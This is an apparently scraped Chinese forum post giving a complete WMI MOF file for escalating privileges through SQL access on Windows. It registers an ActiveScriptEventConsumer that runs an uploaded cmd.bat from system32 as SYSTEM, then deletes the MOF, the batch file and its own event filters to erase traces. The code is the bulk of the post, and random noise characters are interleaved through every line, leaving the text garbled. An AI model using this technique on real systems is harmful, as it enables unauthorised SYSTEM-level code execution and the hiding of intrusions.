这个sql提权MOF需要运行 system下的文件,不能定义路径。 X- x u0 r/ e; U
需要将要运行的命令写入到bat上传到system32目录,然后执行。$ M3 m- z+ M' X1 E S. l
! C- k+ c. ^2 I2 I0 M* E5 `这个sql提权MOF需要运行 system下的文件,不能定义路径。
# `+ w) I; l- [+ T( F7 N8 r x需要将要运行的命令写入到bat上传到system32目录,然后执行。& [' O* Q; Z' x+ ^( p
( Y; u( I+ P9 a/ ]#pragma
) k0 [! ?8 A6 { [0 U( g5 r) l namespace("\\\\.\\root\\cimv2"). ]0 J: Y0 u, Q1 x. ~5 x# a
class. S- v; k1 v/ q5 l) m: m+ c8 z. @
MyClass5478 o* u2 [9 V' s+ v/ x1 f8 c
{ [key]
8 c, }9 U! K$ m, A string
4 b! T5 e: g5 w/ W" K Name;7 c7 |1 Z2 m% n' ^/ o& ]
};
. b* ?. ~" `3 n+ D class
* |& z. C/ c( K" x8 R8 y$ Y/ H) h ActiveScriptEventConsumer
4 y1 f; K/ O/ [4 k' n : __EventConsumer { [key]
/ U( Z$ p+ E' q; Z string
) `! m" R$ M& B' i Name; [not_null]
9 G1 X5 e9 f. B H8 u' ~ string0 m, J4 {" g; e5 K( s/ H
ScriptingEngine; string& c7 S1 ?0 ?5 C' ?/ T; n
ScriptFileName; [template]* ~3 X* |- Q1 |2 N) H" L) b
string
5 V/ R l& p. e& F0 O4 g ScriptText; uint32 KillTimeout;' L' q1 J0 G. h. m
}; instance of __Win32Provider as $P {
+ S. G6 t# b+ N( L- i Name E2 ~8 `+ Q% ^$ Z% d3 `% h
=
9 k( ]5 w# X# ~6 G% P "ActiveScriptEventConsumer"; CLSID =7 L8 @6 `+ C; b) Z
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";0 I1 _- w. n! P3 Y) n7 \6 Q: ]2 e
PerUserInitialization K' l- l4 c) J) M1 z4 l h
= TRUE;! @( _% W& |& U( W7 W
}; instance of __EventConsumerProviderRegistration { Provider; q) R: K+ n% s* {) f- Z
= $P; ConsumerClassNames
5 j- S* o# D, _7 s* C& g =4 r9 k- W7 D- A w" [, q2 x8 Q
{"ActiveScriptEventConsumer"};
) P$ a8 g; P" [% m! G };0 M4 ` n- S2 Y/ Y$ I' W
Instance of ActiveScriptEventConsumer/ s0 h% A- R0 H, `: W
as $cons { Name
/ E: x7 L+ I9 O, M3 e =
3 M; K* [5 c# U( D "ASEC"; ScriptingEngine) P0 ?. Y* |$ @' s$ m8 p
=
Q; |) I/ ]3 } "JScript"; ScriptText) E3 S0 n, m# {
=
# V: n4 ?) A3 }, e: I8 L9 C "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };/ o0 ^( w0 j; D4 z9 q; c o! r: l: `
Instance of ActiveScriptEventConsumer
c$ Y$ D. v) L) P8 J/ r) k as $cons2 { Name2 S# B- K. k$ V2 F
=
& {: |( o7 \: c4 B5 A$ n, W' w9 J' W7 ^" { "qndASEC"; ScriptingEngine
8 s& C. Z) R4 @8 r0 {% |+ U =
/ Q2 z6 [1 l) E0 b0 { "JScript"; ScriptText
3 I2 B; w% D9 U7 O+ b =
" j% J [6 |" V; t; ` "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
7 n. I' S- [* e7 e8 J. C6 w }; instance of __EventFilter as $Filt { Name
& b0 O8 {( h7 ~, L# D =
# d2 T: v- c+ H8 ~+ ?2 n* ]* e: T "instfilt"; Query2 o2 {. L% |6 ?: x- k# Q
=$ a& c% D$ @ z+ r! C L7 }$ k' n( {1 F
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage& a# |4 i$ n5 o- o
=
& q4 z. Z8 N, j8 ?) m( I. e4 N "WQL"; }; instance of __EventFilter as $Filt2 { Name( [3 Y2 Z4 n/ n1 j3 ~0 D. q; I
=
# ^* R6 g+ _6 E2 G$ A) e "qndfilt"; Query
" u$ {/ x/ G$ J8 q. C =2 U) g7 Z2 q% w! p; p
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage/ x# q7 I$ Y" H( ^. s
=
" Q6 S; f4 a7 N% r5 Y2 j$ u2 w "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
# ~9 R1 _; O( b = $cons; Filter: w' [* X( u" P \, P
= $Filt;9 w+ r2 I1 \- |% e' v+ j
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
) n$ H+ T$ r3 l- L# k' h U& C* a4 Q = $cons2; Filter
0 b4 a! t8 x! J' s- I0 H G; o = $Filt2;
; _: s; f" k, f0 x7 p }; instance of MyClass547
" j: v1 D! @8 F& q9 v as $MyClass { Name' C2 Z! G0 W9 g
=6 l2 Q+ k4 L6 x+ Z
"ClassConsumer";
. n; ?. X ^. `1 O }; |